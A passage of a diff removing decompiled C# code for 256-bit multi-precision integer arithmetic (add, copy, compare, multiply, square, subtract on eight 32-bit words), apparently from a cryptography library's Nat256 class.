>>= 32; - num += (ulong)((long)x[xOff + 4] + (long)y[yOff + 4] + z[zOff + 4]); - z[zOff + 4] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 5] + (long)y[yOff + 5] + z[zOff + 5]); - z[zOff + 5] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 6] + (long)y[yOff + 6] + z[zOff + 6]); - z[zOff + 6] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 7] + (long)y[yOff + 7] + z[zOff + 7]); - z[zOff + 7] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint AddTo(uint[] x, uint[] z) - { - ulong num = 0uL; - num += (ulong)((long)x[0] + (long)z[0]); - z[0] = (uint)num; - num >>= 32; - num += (ulong)((long)x[1] + (long)z[1]); - z[1] = (uint)num; - num >>= 32; - num += (ulong)((long)x[2] + (long)z[2]); - z[2] = (uint)num; - num >>= 32; - num += (ulong)((long)x[3] + (long)z[3]); - z[3] = (uint)num; - num >>= 32; - num += (ulong)((long)x[4] + (long)z[4]); - z[4] = (uint)num; - num >>= 32; - num += (ulong)((long)x[5] + (long)z[5]); - z[5] = (uint)num; - num >>= 32; - num += (ulong)((long)x[6] + (long)z[6]); - z[6] = (uint)num; - num >>= 32; - num += (ulong)((long)x[7] + (long)z[7]); - z[7] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint AddTo(uint[] x, int xOff, uint[] z, int zOff, uint cIn) - { - ulong num = cIn; - num += (ulong)((long)x[xOff] + (long)z[zOff]); - z[zOff] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 1] + (long)z[zOff + 1]); - z[zOff + 1] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 2] + (long)z[zOff + 2]); - z[zOff + 2] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 3] + (long)z[zOff + 3]); - z[zOff + 3] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 4] + (long)z[zOff + 4]); - z[zOff + 4] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 5] + (long)z[zOff + 5]); - z[zOff + 5] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 6] + (long)z[zOff + 6]); - z[zOff + 6] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 7] + (long)z[zOff + 7]); - z[zOff + 7] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint AddToEachOther(uint[] u, int uOff, uint[] v, int vOff) - { - ulong num = 0uL; - num += (ulong)((long)u[uOff] + (long)v[vOff]); - u[uOff] = (uint)num; - v[vOff] = (uint)num; - num >>= 32; - num += (ulong)((long)u[uOff + 1] + (long)v[vOff + 1]); - u[uOff + 1] = (uint)num; - v[vOff + 1] = (uint)num; - num >>= 32; - num += (ulong)((long)u[uOff + 2] + (long)v[vOff + 2]); - u[uOff + 2] = (uint)num; - v[vOff + 2] = (uint)num; - num >>= 32; - num += (ulong)((long)u[uOff + 3] + (long)v[vOff + 3]); - u[uOff + 3] = (uint)num; - v[vOff + 3] = (uint)num; - num >>= 32; - num += (ulong)((long)u[uOff + 4] + (long)v[vOff + 4]); - u[uOff + 4] = (uint)num; - v[vOff + 4] = (uint)num; - num >>= 32; - num += (ulong)((long)u[uOff + 5] + (long)v[vOff + 5]); - u[uOff + 5] = (uint)num; - v[vOff + 5] = (uint)num; - num >>= 32; - num += (ulong)((long)u[uOff + 6] + (long)v[vOff + 6]); - u[uOff + 6] = (uint)num; - v[vOff + 6] = (uint)num; - num >>= 32; - num += (ulong)((long)u[uOff + 7] + (long)v[vOff + 7]); - u[uOff + 7] = (uint)num; - v[vOff + 7] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static void Copy(uint[] x, uint[] z) - { - z[0] = x[0]; - z[1] = x[1]; - z[2] = x[2]; - z[3] = x[3]; - z[4] = x[4]; - z[5] = x[5]; - z[6] = x[6]; - z[7] = x[7]; - } - - public static void Copy(uint[] x, int xOff, uint[] z, int zOff) - { - z[zOff] = x[xOff]; - z[zOff + 1] = x[xOff + 1]; - z[zOff + 2] = x[xOff + 2]; - z[zOff + 3] = x[xOff + 3]; - z[zOff + 4] = x[xOff + 4]; - z[zOff + 5] = x[xOff + 5]; - z[zOff + 6] = x[xOff + 6]; - z[zOff + 7] = x[xOff + 7]; - } - - public static void Copy64(ulong[] x, ulong[] z) - { - z[0] = x[0]; - z[1] = x[1]; - z[2] = x[2]; - z[3] = x[3]; - } - - public static void Copy64(ulong[] x, int xOff, ulong[] z, int zOff) - { - z[zOff] = x[xOff]; - z[zOff + 1] = x[xOff + 1]; - z[zOff + 2] = x[xOff + 2]; - z[zOff + 3] = x[xOff + 3]; - } - - public static uint[] Create() - { - return new uint[8]; - } - - public static ulong[] Create64() - { - return new ulong[4]; - } - - public static uint[] CreateExt() - { - return new uint[16]; - } - - public static ulong[] CreateExt64() - { - return new ulong[8]; - } - - public static bool Diff(uint[] x, int xOff, uint[] y, int yOff, uint[] z, int zOff) - { - bool flag = Gte(x, xOff, y, yOff); - if (flag) - { - Sub(x, xOff, y, yOff, z, zOff); - } - else - { - Sub(y, yOff, x, xOff, z, zOff); - } - return flag; - } - - public static bool Eq(uint[] x, uint[] y) - { - for (int num = 7; num >= 0; num--) - { - if (x[num] != y[num]) - { - return false; - } - } - return true; - } - - public static bool Eq64(ulong[] x, ulong[] y) - { - for (int num = 3; num >= 0; num--) - { - if (x[num] != y[num]) - { - return false; - } - } - return true; - } - - public static uint[] FromBigInteger(BigInteger x) - { - if (x.SignValue < 0 || x.BitLength > 256) - { - throw new ArgumentException(); - } - uint[] array = Create(); - int num = 0; - while (x.SignValue != 0) - { - array[num++] = (uint)x.IntValue; - x = x.ShiftRight(32); - } - return array; - } - - public static ulong[] FromBigInteger64(BigInteger x) - { - if (x.SignValue < 0 || x.BitLength > 256) - { - throw new ArgumentException(); - } - ulong[] array = Create64(); - int num = 0; - while (x.SignValue != 0) - { - array[num++] = (ulong)x.LongValue; - x = x.ShiftRight(64); - } - return array; - } - - public static uint GetBit(uint[] x, int bit) - { - if (bit == 0) - { - return x[0] & 1; - } - if ((bit & 0xFF) != bit) - { - return 0u; - } - int num = bit >> 5; - int num2 = bit & 0x1F; - return (x[num] >> num2) & 1; - } - - public static bool Gte(uint[] x, uint[] y) - { - for (int num = 7; num >= 0; num--) - { - uint num2 = x[num]; - uint num3 = y[num]; - if (num2 < num3) - { - return false; - } - if (num2 > num3) - { - return true; - } - } - return true; - } - - public static bool Gte(uint[] x, int xOff, uint[] y, int yOff) - { - for (int num = 7; num >= 0; num--) - { - uint num2 = x[xOff + num]; - uint num3 = y[yOff + num]; - if (num2 < num3) - { - return false; - } - if (num2 > num3) - { - return true; - } - } - return true; - } - - public static bool IsOne(uint[] x) - { - if (x[0] != 1) - { - return false; - } - for (int i = 1; i < 8; i++) - { - if (x[i] != 0) - { - return false; - } - } - return true; - } - - public static bool IsOne64(ulong[] x) - { - if (x[0] != 1) - { - return false; - } - for (int i = 1; i < 4; i++) - { - if (x[i] != 0) - { - return false; - } - } - return true; - } - - public static bool IsZero(uint[] x) - { - for (int i = 0; i < 8; i++) - { - if (x[i] != 0) - { - return false; - } - } - return true; - } - - public static bool IsZero64(ulong[] x) - { - for (int i = 0; i < 4; i++) - { - if (x[i] != 0) - { - return false; - } - } - return true; - } - - public static void Mul(uint[] x, uint[] y, uint[] zz) - { - ulong num = y[0]; - ulong num2 = y[1]; - ulong num3 = y[2]; - ulong num4 = y[3]; - ulong num5 = y[4]; - ulong num6 = y[5]; - ulong num7 = y[6]; - ulong num8 = y[7]; - ulong num9 = 0uL; - ulong num10 = x[0]; - num9 += num10 * num; - zz[0] = (uint)num9; - num9 >>= 32; - num9 += num10 * num2; - zz[1] = (uint)num9; - num9 >>= 32; - num9 += num10 * num3; - zz[2] = (uint)num9; - num9 >>= 32; - num9 += num10 * num4; - zz[3] = (uint)num9; - num9 >>= 32; - num9 += num10 * num5; - zz[4] = (uint)num9; - num9 >>= 32; - num9 += num10 * num6; - zz[5] = (uint)num9; - num9 >>= 32; - num9 += num10 * num7; - zz[6] = (uint)num9; - num9 >>= 32; - num9 += num10 * num8; - zz[7] = (uint)num9; - num9 >>= 32; - zz[8] = (uint)num9; - for (int i = 1; i < 8; i++) - { - ulong num11 = 0uL; - ulong num12 = x[i]; - num11 += num12 * num + zz[i]; - zz[i] = (uint)num11; - num11 >>= 32; - num11 += num12 * num2 + zz[i + 1]; - zz[i + 1] = (uint)num11; - num11 >>= 32; - num11 += num12 * num3 + zz[i + 2]; - zz[i + 2] = (uint)num11; - num11 >>= 32; - num11 += num12 * num4 + zz[i + 3]; - zz[i + 3] = (uint)num11; - num11 >>= 32; - num11 += num12 * num5 + zz[i + 4]; - zz[i + 4] = (uint)num11; - num11 >>= 32; - num11 += num12 * num6 + zz[i + 5]; - zz[i + 5] = (uint)num11; - num11 >>= 32; - num11 += num12 * num7 + zz[i + 6]; - zz[i + 6] = (uint)num11; - num11 >>= 32; - num11 += num12 * num8 + zz[i + 7]; - zz[i + 7] = (uint)num11; - num11 >>= 32; - zz[i + 8] = (uint)num11; - } - } - - public static void Mul(uint[] x, int xOff, uint[] y, int yOff, uint[] zz, int zzOff) - { - ulong num = y[yOff]; - ulong num2 = y[yOff + 1]; - ulong num3 = y[yOff + 2]; - ulong num4 = y[yOff + 3]; - ulong num5 = y[yOff + 4]; - ulong num6 = y[yOff + 5]; - ulong num7 = y[yOff + 6]; - ulong num8 = y[yOff + 7]; - ulong num9 = 0uL; - ulong num10 = x[xOff]; - num9 += num10 * num; - zz[zzOff] = (uint)num9; - num9 >>= 32; - num9 += num10 * num2; - zz[zzOff + 1] = (uint)num9; - num9 >>= 32; - num9 += num10 * num3; - zz[zzOff + 2] = (uint)num9; - num9 >>= 32; - num9 += num10 * num4; - zz[zzOff + 3] = (uint)num9; - num9 >>= 32; - num9 += num10 * num5; - zz[zzOff + 4] = (uint)num9; - num9 >>= 32; - num9 += num10 * num6; - zz[zzOff + 5] = (uint)num9; - num9 >>= 32; - num9 += num10 * num7; - zz[zzOff + 6] = (uint)num9; - num9 >>= 32; - num9 += num10 * num8; - zz[zzOff + 7] = (uint)num9; - num9 >>= 32; - zz[zzOff + 8] = (uint)num9; - for (int i = 1; i < 8; i++) - { - zzOff++; - ulong num11 = 0uL; - ulong num12 = x[xOff + i]; - num11 += num12 * num + zz[zzOff]; - zz[zzOff] = (uint)num11; - num11 >>= 32; - num11 += num12 * num2 + zz[zzOff + 1]; - zz[zzOff + 1] = (uint)num11; - num11 >>= 32; - num11 += num12 * num3 + zz[zzOff + 2]; - zz[zzOff + 2] = (uint)num11; - num11 >>= 32; - num11 += num12 * num4 + zz[zzOff + 3]; - zz[zzOff + 3] = (uint)num11; - num11 >>= 32; - num11 += num12 * num5 + zz[zzOff + 4]; - zz[zzOff + 4] = (uint)num11; - num11 >>= 32; - num11 += num12 * num6 + zz[zzOff + 5]; - zz[zzOff + 5] = (uint)num11; - num11 >>= 32; - num11 += num12 * num7 + zz[zzOff + 6]; - zz[zzOff + 6] = (uint)num11; - num11 >>= 32; - num11 += num12 * num8 + zz[zzOff + 7]; - zz[zzOff + 7] = (uint)num11; - num11 >>= 32; - zz[zzOff + 8] = (uint)num11; - } - } - - public static uint MulAddTo(uint[] x, uint[] y, uint[] zz) - { - ulong num = y[0]; - ulong num2 = y[1]; - ulong num3 = y[2]; - ulong num4 = y[3]; - ulong num5 = y[4]; - ulong num6 = y[5]; - ulong num7 = y[6]; - ulong num8 = y[7]; - ulong num9 = 0uL; - for (int i = 0; i < 8; i++) - { - ulong num10 = 0uL; - ulong num11 = x[i]; - num10 += num11 * num + zz[i]; - zz[i] = (uint)num10; - num10 >>= 32; - num10 += num11 * num2 + zz[i + 1]; - zz[i + 1] = (uint)num10; - num10 >>= 32; - num10 += num11 * num3 + zz[i + 2]; - zz[i + 2] = (uint)num10; - num10 >>= 32; - num10 += num11 * num4 + zz[i + 3]; - zz[i + 3] = (uint)num10; - num10 >>= 32; - num10 += num11 * num5 + zz[i + 4]; - zz[i + 4] = (uint)num10; - num10 >>= 32; - num10 += num11 * num6 + zz[i + 5]; - zz[i + 5] = (uint)num10; - num10 >>= 32; - num10 += num11 * num7 + zz[i + 6]; - zz[i + 6] = (uint)num10; - num10 >>= 32; - num10 += num11 * num8 + zz[i + 7]; - zz[i + 7] = (uint)num10; - num10 >>= 32; - num10 += num9 + zz[i + 8]; - zz[i + 8] = (uint)num10; - num9 = num10 >> 32; - } - return (uint)num9; - } - - public static uint MulAddTo(uint[] x, int xOff, uint[] y, int yOff, uint[] zz, int zzOff) - { - ulong num = y[yOff]; - ulong num2 = y[yOff + 1]; - ulong num3 = y[yOff + 2]; - ulong num4 = y[yOff + 3]; - ulong num5 = y[yOff + 4]; - ulong num6 = y[yOff + 5]; - ulong num7 = y[yOff + 6]; - ulong num8 = y[yOff + 7]; - ulong num9 = 0uL; - for (int i = 0; i < 8; i++) - { - ulong num10 = 0uL; - ulong num11 = x[xOff + i]; - num10 += num11 * num + zz[zzOff]; - zz[zzOff] = (uint)num10; - num10 >>= 32; - num10 += num11 * num2 + zz[zzOff + 1]; - zz[zzOff + 1] = (uint)num10; - num10 >>= 32; - num10 += num11 * num3 + zz[zzOff + 2]; - zz[zzOff + 2] = (uint)num10; - num10 >>= 32; - num10 += num11 * num4 + zz[zzOff + 3]; - zz[zzOff + 3] = (uint)num10; - num10 >>= 32; - num10 += num11 * num5 + zz[zzOff + 4]; - zz[zzOff + 4] = (uint)num10; - num10 >>= 32; - num10 += num11 * num6 + zz[zzOff + 5]; - zz[zzOff + 5] = (uint)num10; - num10 >>= 32; - num10 += num11 * num7 + zz[zzOff + 6]; - zz[zzOff + 6] = (uint)num10; - num10 >>= 32; - num10 += num11 * num8 + zz[zzOff + 7]; - zz[zzOff + 7] = (uint)num10; - num10 >>= 32; - num10 += num9 + zz[zzOff + 8]; - zz[zzOff + 8] = (uint)num10; - num9 = num10 >> 32; - zzOff++; - } - return (uint)num9; - } - - public static ulong Mul33Add(uint w, uint[] x, int xOff, uint[] y, int yOff, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = w; - ulong num3 = x[xOff]; - num += num2 * num3 + y[yOff]; - z[zOff] = (uint)num; - num >>= 32; - ulong num4 = x[xOff + 1]; - num += num2 * num4 + num3 + y[yOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - ulong num5 = x[xOff + 2]; - num += num2 * num5 + num4 + y[yOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - ulong num6 = x[xOff + 3]; - num += num2 * num6 + num5 + y[yOff + 3]; - z[zOff + 3] = (uint)num; - num >>= 32; - ulong num7 = x[xOff + 4]; - num += num2 * num7 + num6 + y[yOff + 4]; - z[zOff + 4] = (uint)num; - num >>= 32; - ulong num8 = x[xOff + 5]; - num += num2 * num8 + num7 + y[yOff + 5]; - z[zOff + 5] = (uint)num; - num >>= 32; - ulong num9 = x[xOff + 6]; - num += num2 * num9 + num8 + y[yOff + 6]; - z[zOff + 6] = (uint)num; - num >>= 32; - ulong num10 = x[xOff + 7]; - num += num2 * num10 + num9 + y[yOff + 7]; - z[zOff + 7] = (uint)num; - num >>= 32; - return num + num10; - } - - public static uint MulByWord(uint x, uint[] z) - { - ulong num = 0uL; - ulong num2 = x; - num += num2 * z[0]; - z[0] = (uint)num; - num >>= 32; - num += num2 * z[1]; - z[1] = (uint)num; - num >>= 32; - num += num2 * z[2]; - z[2] = (uint)num; - num >>= 32; - num += num2 * z[3]; - z[3] = (uint)num; - num >>= 32; - num += num2 * z[4]; - z[4] = (uint)num; - num >>= 32; - num += num2 * z[5]; - z[5] = (uint)num; - num >>= 32; - num += num2 * z[6]; - z[6] = (uint)num; - num >>= 32; - num += num2 * z[7]; - z[7] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint MulByWordAddTo(uint x, uint[] y, uint[] z) - { - ulong num = 0uL; - ulong num2 = x; - num += num2 * z[0] + y[0]; - z[0] = (uint)num; - num >>= 32; - num += num2 * z[1] + y[1]; - z[1] = (uint)num; - num >>= 32; - num += num2 * z[2] + y[2]; - z[2] = (uint)num; - num >>= 32; - num += num2 * z[3] + y[3]; - z[3] = (uint)num; - num >>= 32; - num += num2 * z[4] + y[4]; - z[4] = (uint)num; - num >>= 32; - num += num2 * z[5] + y[5]; - z[5] = (uint)num; - num >>= 32; - num += num2 * z[6] + y[6]; - z[6] = (uint)num; - num >>= 32; - num += num2 * z[7] + y[7]; - z[7] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint MulWordAddTo(uint x, uint[] y, int yOff, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = x; - num += num2 * y[yOff] + z[zOff]; - z[zOff] = (uint)num; - num >>= 32; - num += num2 * y[yOff + 1] + z[zOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - num += num2 * y[yOff + 2] + z[zOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - num += num2 * y[yOff + 3] + z[zOff + 3]; - z[zOff + 3] = (uint)num; - num >>= 32; - num += num2 * y[yOff + 4] + z[zOff + 4]; - z[zOff + 4] = (uint)num; - num >>= 32; - num += num2 * y[yOff + 5] + z[zOff + 5]; - z[zOff + 5] = (uint)num; - num >>= 32; - num += num2 * y[yOff + 6] + z[zOff + 6]; - z[zOff + 6] = (uint)num; - num >>= 32; - num += num2 * y[yOff + 7] + z[zOff + 7]; - z[zOff + 7] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint Mul33DWordAdd(uint x, ulong y, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = x; - ulong num3 = y & 0xFFFFFFFFu; - num += num2 * num3 + z[zOff]; - z[zOff] = (uint)num; - num >>= 32; - ulong num4 = y >> 32; - num += num2 * num4 + num3 + z[zOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - num += num4 + z[zOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - num += z[zOff + 3]; - z[zOff + 3] = (uint)num; - num >>= 32; - if (num != 0) - { - return Nat.IncAt(8, z, zOff, 4); - } - return 0u; - } - - public static uint Mul33WordAdd(uint x, uint y, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = y; - num += num2 * x + z[zOff]; - z[zOff] = (uint)num; - num >>= 32; - num += num2 + z[zOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - num += z[zOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - if (num != 0) - { - return Nat.IncAt(8, z, zOff, 3); - } - return 0u; - } - - public static uint MulWordDwordAdd(uint x, ulong y, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = x; - num += num2 * y + z[zOff]; - z[zOff] = (uint)num; - num >>= 32; - num += num2 * (y >> 32) + z[zOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - num += z[zOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - if (num != 0) - { - return Nat.IncAt(8, z, zOff, 3); - } - return 0u; - } - - public static uint MulWord(uint x, uint[] y, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = x; - int num3 = 0; - do - { - num += num2 * y[num3]; - z[zOff + num3] = (uint)num; - num >>= 32; - } - while (++num3 < 8); - return (uint)num; - } - - public static void Square(uint[] x, uint[] zz) - { - ulong num = x[0]; - uint num2 = 0u; - int num3 = 7; - int num4 = 16; - do - { - ulong num5 = x[num3--]; - ulong num6 = num5 * num5; - zz[--num4] = (num2 << 31) | (uint)(int)(num6 >> 33); - zz[--num4] = (uint)(num6 >> 1); - num2 = (uint)num6; - } - while (num3 > 0); - ulong num7 = num * num; - ulong num8 = (num2 << 31) | (num7 >> 33); - zz[0] = (uint)num7; - num2 = (uint)((int)(num7 >> 32) & 1); - ulong num9 = x[1]; - ulong num10 = zz[2]; - num8 += num9 * num; - uint num11 = (uint)num8; - zz[1] = (num11 << 1) | num2; - num2 = num11 >> 31; - num10 += num8 >> 32; - ulong num12 = x[2]; - ulong num13 = zz[3]; - ulong num14 = zz[4]; - num10 += num12 * num; - num11 = (uint)num10; - zz[2] = (num11 << 1) | num2; - num2 = num11 >> 31; - num13 += (num10 >> 32) + num12 * num9; - num14 += num13 >> 32; - num13 &= 0xFFFFFFFFu; - ulong num15 = x[3]; - ulong num16 = zz[5] + (num14 >> 32); - num14 &= 0xFFFFFFFFu; - ulong num17 = zz[6] + (num16 >> 32); - num16 &= 0xFFFFFFFFu; - num13 += num15 * num; - num11 = (uint)num13; - zz[3] = (num11 << 1) | num2; - num2 = num11 >> 31; - num14 += (num13 >> 32) + num15 * num9; - num16 += (num14 >> 32) + num15 * num12; - num14 &= 0xFFFFFFFFu; - num17 += num16 >> 32; - num16 &= 0xFFFFFFFFu; - ulong num18 = x[4]; - ulong num19 = zz[7] + (num17 >> 32); - num17 &= 0xFFFFFFFFu; - ulong num20 = zz[8] + (num19 >> 32); - num19 &= 0xFFFFFFFFu; - num14 += num18 * num; - num11 = (uint)num14; - zz[4] = (num11 << 1) | num2; - num2 = num11 >> 31; - num16 += (num14 >> 32) + num18 * num9; - num17 += (num16 >> 32) + num18 * num12; - num16 &= 0xFFFFFFFFu; - num19 += (num17 >> 32) + num18 * num15; - num17 &= 0xFFFFFFFFu; - num20 += num19 >> 32; - num19 &= 0xFFFFFFFFu; - ulong num21 = x[5]; - ulong num22 = zz[9] + (num20 >> 32); - num20 &= 0xFFFFFFFFu; - ulong num23 = zz[10] + (num22 >> 32); - num22 &= 0xFFFFFFFFu; - num16 += num21 * num; - num11 = (uint)num16; - zz[5] = (num11 << 1) | num2; - num2 = num11 >> 31; - num17 += (num16 >> 32) + num21 * num9; - num19 += (num17 >> 32) + num21 * num12; - num17 &= 0xFFFFFFFFu; - num20 += (num19 >> 32) + num21 * num15; - num19 &= 0xFFFFFFFFu; - num22 += (num20 >> 32) + num21 * num18; - num20 &= 0xFFFFFFFFu; - num23 += num22 >> 32; - num22 &= 0xFFFFFFFFu; - ulong num24 = x[6]; - ulong num25 = zz[11] + (num23 >> 32); - num23 &= 0xFFFFFFFFu; - ulong num26 = zz[12] + (num25 >> 32); - num25 &= 0xFFFFFFFFu; - num17 += num24 * num; - num11 = (uint)num17; - zz[6] = (num11 << 1) | num2; - num2 = num11 >> 31; - num19 += (num17 >> 32) + num24 * num9; - num20 += (num19 >> 32) + num24 * num12; - num19 &= 0xFFFFFFFFu; - num22 += (num20 >> 32) + num24 * num15; - num20 &= 0xFFFFFFFFu; - num23 += (num22 >> 32) + num24 * num18; - num22 &= 0xFFFFFFFFu; - num25 += (num23 >> 32) + num24 * num21; - num23 &= 0xFFFFFFFFu; - num26 += num25 >> 32; - num25 &= 0xFFFFFFFFu; - ulong num27 = x[7]; - ulong num28 = zz[13] + (num26 >> 32); - num26 &= 0xFFFFFFFFu; - ulong num29 = zz[14] + (num28 >> 32); - num28 &= 0xFFFFFFFFu; - num19 += num27 * num; - num11 = (uint)num19; - zz[7] = (num11 << 1) | num2; - num2 = num11 >> 31; - num20 += (num19 >> 32) + num27 * num9; - num22 += (num20 >> 32) + num27 * num12; - num23 += (num22 >> 32) + num27 * num15; - num25 += (num23 >> 32) + num27 * num18; - num26 += (num25 >> 32) + num27 * num21; - num28 += (num26 >> 32) + num27 * num24; - num29 += num28 >> 32; - num11 = (uint)num20; - zz[8] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num22; - zz[9] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num23; - zz[10] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num25; - zz[11] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num26; - zz[12] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num28; - zz[13] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num29; - zz[14] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = zz[15] + (uint)(int)(num29 >> 32); - zz[15] = (num11 << 1) | num2; - } - - public static void Square(uint[] x, int xOff, uint[] zz, int zzOff) - { - ulong num = x[xOff]; - uint num2 = 0u; - int num3 = 7; - int num4 = 16; - do - { - ulong num5 = x[xOff + num3--]; - ulong num6 = num5 * num5; - zz[zzOff + --num4] = (num2 << 31) | (uint)(int)(num6 >> 33); - zz[zzOff + --num4] = (uint)(num6 >> 1); - num2 = (uint)num6; - } - while (num3 > 0); - ulong num7 = num * num; - ulong num8 = (num2 << 31) | (num7 >> 33); - zz[zzOff] = (uint)num7; - num2 = (uint)((int)(num7 >> 32) & 1); - ulong num9 = x[xOff + 1]; - ulong num10 = zz[zzOff + 2]; - num8 += num9 * num; - uint num11 = (uint)num8; - zz[zzOff + 1] = (num11 << 1) | num2; - num2 = num11 >> 31; - num10 += num8 >> 32; - ulong num12 = x[xOff + 2]; - ulong num13 = zz[zzOff + 3]; - ulong num14 = zz[zzOff + 4]; - num10 += num12 * num; - num11 = (uint)num10; - zz[zzOff + 2] = (num11 << 1) | num2; - num2 = num11 >> 31; - num13 += (num10 >> 32) + num12 * num9; - num14 += num13 >> 32; - num13 &= 0xFFFFFFFFu; - ulong num15 = x[xOff + 3]; - ulong num16 = zz[zzOff + 5] + (num14 >> 32); - num14 &= 0xFFFFFFFFu; - ulong num17 = zz[zzOff + 6] + (num16 >> 32); - num16 &= 0xFFFFFFFFu; - num13 += num15 * num; - num11 = (uint)num13; - zz[zzOff + 3] = (num11 << 1) | num2; - num2 = num11 >> 31; - num14 += (num13 >> 32) + num15 * num9; - num16 += (num14 >> 32) + num15 * num12; - num14 &= 0xFFFFFFFFu; - num17 += num16 >> 32; - num16 &= 0xFFFFFFFFu; - ulong num18 = x[xOff + 4]; - ulong num19 = zz[zzOff + 7] + (num17 >> 32); - num17 &= 0xFFFFFFFFu; - ulong num20 = zz[zzOff + 8] + (num19 >> 32); - num19 &= 0xFFFFFFFFu; - num14 += num18 * num; - num11 = (uint)num14; - zz[zzOff + 4] = (num11 << 1) | num2; - num2 = num11 >> 31; - num16 += (num14 >> 32) + num18 * num9; - num17 += (num16 >> 32) + num18 * num12; - num16 &= 0xFFFFFFFFu; - num19 += (num17 >> 32) + num18 * num15; - num17 &= 0xFFFFFFFFu; - num20 += num19 >> 32; - num19 &= 0xFFFFFFFFu; - ulong num21 = x[xOff + 5]; - ulong num22 = zz[zzOff + 9] + (num20 >> 32); - num20 &= 0xFFFFFFFFu; - ulong num23 = zz[zzOff + 10] + (num22 >> 32); - num22 &= 0xFFFFFFFFu; - num16 += num21 * num; - num11 = (uint)num16; - zz[zzOff + 5] = (num11 << 1) | num2; - num2 = num11 >> 31; - num17 += (num16 >> 32) + num21 * num9; - num19 += (num17 >> 32) + num21 * num12; - num17 &= 0xFFFFFFFFu; - num20 += (num19 >> 32) + num21 * num15; - num19 &= 0xFFFFFFFFu; - num22 += (num20 >> 32) + num21 * num18; - num20 &= 0xFFFFFFFFu; - num23 += num22 >> 32; - num22 &= 0xFFFFFFFFu; - ulong num24 = x[xOff + 6]; - ulong num25 = zz[zzOff + 11] + (num23 >> 32); - num23 &= 0xFFFFFFFFu; - ulong num26 = zz[zzOff + 12] + (num25 >> 32); - num25 &= 0xFFFFFFFFu; - num17 += num24 * num; - num11 = (uint)num17; - zz[zzOff + 6] = (num11 << 1) | num2; - num2 = num11 >> 31; - num19 += (num17 >> 32) + num24 * num9; - num20 += (num19 >> 32) + num24 * num12; - num19 &= 0xFFFFFFFFu; - num22 += (num20 >> 32) + num24 * num15; - num20 &= 0xFFFFFFFFu; - num23 += (num22 >> 32) + num24 * num18; - num22 &= 0xFFFFFFFFu; - num25 += (num23 >> 32) + num24 * num21; - num23 &= 0xFFFFFFFFu; - num26 += num25 >> 32; - num25 &= 0xFFFFFFFFu; - ulong num27 = x[xOff + 7]; - ulong num28 = zz[zzOff + 13] + (num26 >> 32); - num26 &= 0xFFFFFFFFu; - ulong num29 = zz[zzOff + 14] + (num28 >> 32); - num28 &= 0xFFFFFFFFu; - num19 += num27 * num; - num11 = (uint)num19; - zz[zzOff + 7] = (num11 << 1) | num2; - num2 = num11 >> 31; - num20 += (num19 >> 32) + num27 * num9; - num22 += (num20 >> 32) + num27 * num12; - num23 += (num22 >> 32) + num27 * num15; - num25 += (num23 >> 32) + num27 * num18; - num26 += (num25 >> 32) + num27 * num21; - num28 += (num26 >> 32) + num27 * num24; - num29 += num28 >> 32; - num11 = (uint)num20; - zz[zzOff + 8] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num22; - zz[zzOff + 9] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num23; - zz[zzOff + 10] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num25; - zz[zzOff + 11] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num26; - zz[zzOff + 12] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num28; - zz[zzOff + 13] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num29; - zz[zzOff + 14] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = zz[zzOff + 15] + (uint)(int)(num29 >> 32); - zz[zzOff + 15] = (num11 << 1) | num2; - } - - public static int Sub(uint[] x, uint[] y, uint[] z) - { - long num = 0L; - num += (long)x[0] - (long)y[0]; - z[0] = (uint)num; - num >>= 32; - num += (long)x[1] - (long)y[1]; - z[1] = (uint)num; - num >>= 32; - num += (long)x[2] - (long)y[2]; - z[2] = (uint)num; - num >>= 32; - num += (long)x[3] - (long)y[3]; - z[3] = (uint)num; - num >>= 32; - num += (long)x[4] - (long)y[4]; - z[4] = (uint)num; - num >>= 32; - num += (long)x[5] - 